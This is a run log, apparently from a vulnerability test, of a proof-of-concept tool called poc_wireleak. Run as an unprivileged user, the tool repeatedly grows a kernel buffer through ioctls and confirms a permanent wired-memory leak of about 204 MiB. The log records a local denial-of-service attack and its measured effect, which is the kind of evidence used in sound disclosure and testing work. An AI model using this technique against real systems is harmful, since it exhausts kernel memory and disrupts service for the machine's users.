DF-4672 / run.log
+ cd /root/df467x + kldstat + grep -q bktrig2 == attach-mirror init (root, like boot-time attach on real hw): + echo '== attach-mirror init (root, like boot-time attach on real hw):' + /home/maxx/df467x/poc_wireleak --init RIG_INIT: bigbuf=0xfffff80118aa0000 alloc_pages=32 (wire=155689) == DF-4672 attack as maxx (step=128 pages, up to 80 grows): + echo '== DF-4672 attack as maxx (step=128 pages, up to 80 grows):' + su maxx -c 'cd ~/df467x && ./poc_wireleak 128 80' uid=1001 euid=1001 (grow ioctls are unprivileged) start: bigbuf=0xfffff80118aa0000 alloc_pages=32 wire=155684 idle wire noise over 3s: 25 grow # 1 -> alloc_pages= 128 bigbuf=0xfffff80118ac0000 wire_delta= +0 grow # 2 -> alloc_pages= 256 bigbuf=0xfffff80118b40000 wire_delta= +0 grow # 3 -> alloc_pages= 384 bigbuf=0xfffff80118c40000 wire_delta= +0 grow # 4 -> alloc_pages=1022 bigbuf=0xfffff80118dc0000 wire_delta= +0 grow # 8 -> alloc_pages=2044 bigbuf=0xfffff801191be000 wire_delta= +0 grow #16 -> alloc_pages=3065 bigbuf=0xfffff801199ba000 wire_delta= +0 grow #24 -> alloc_pages=4086 bigbuf=0xfffff8011a5b3000 wire_delta= +0 grow #32 -> alloc_pages=5107 bigbuf=0xfffff80118aa0000 wire_delta= +0 grow #40 -> alloc_pages=6128 bigbuf=0xfffff80119e93000 wire_delta=+1511 >>> WIRE CLIMB PHASE BEGINS (reserve drained; scan-path pages now wired permanently) grow #48 -> alloc_pages=7149 bigbuf=0xfffff8011b683000 wire_delta= +0 grow #56 -> alloc_pages=8170 bigbuf=0xfffff80118aa0000 wire_delta= +0 grow #64 -> alloc_pages=9191 bigbuf=0xfffff8011aa8a000 wire_delta=+28234 grow #72 -> alloc_pages=10212 bigbuf=0xfffff8011ce71000 wire_delta= +0 grow #80 -> alloc_pages=11233 bigbuf=0xfffff80118aa0000 wire_delta=+22392 == RESULT == successful grows : 14 (all unprivileged) pages allocated by grows: 68165 (266.3 MiB) wire delta (permanent) : 52137 pages (203.7 MiB) wire climbed from grow : 40 (post-reserve phase) WIRED-MEMORY LEAK CONFIRMED (pages wired by the grow path are never returned) == final wire + free memory + echo '== final wire + free memory' + sysctl vm.stats.vm.v_wire_count vm.stats.vm.v_free_count vm.stats.vm.v_wire_count: 207846 vm.stats.vm.v_free_count: 784100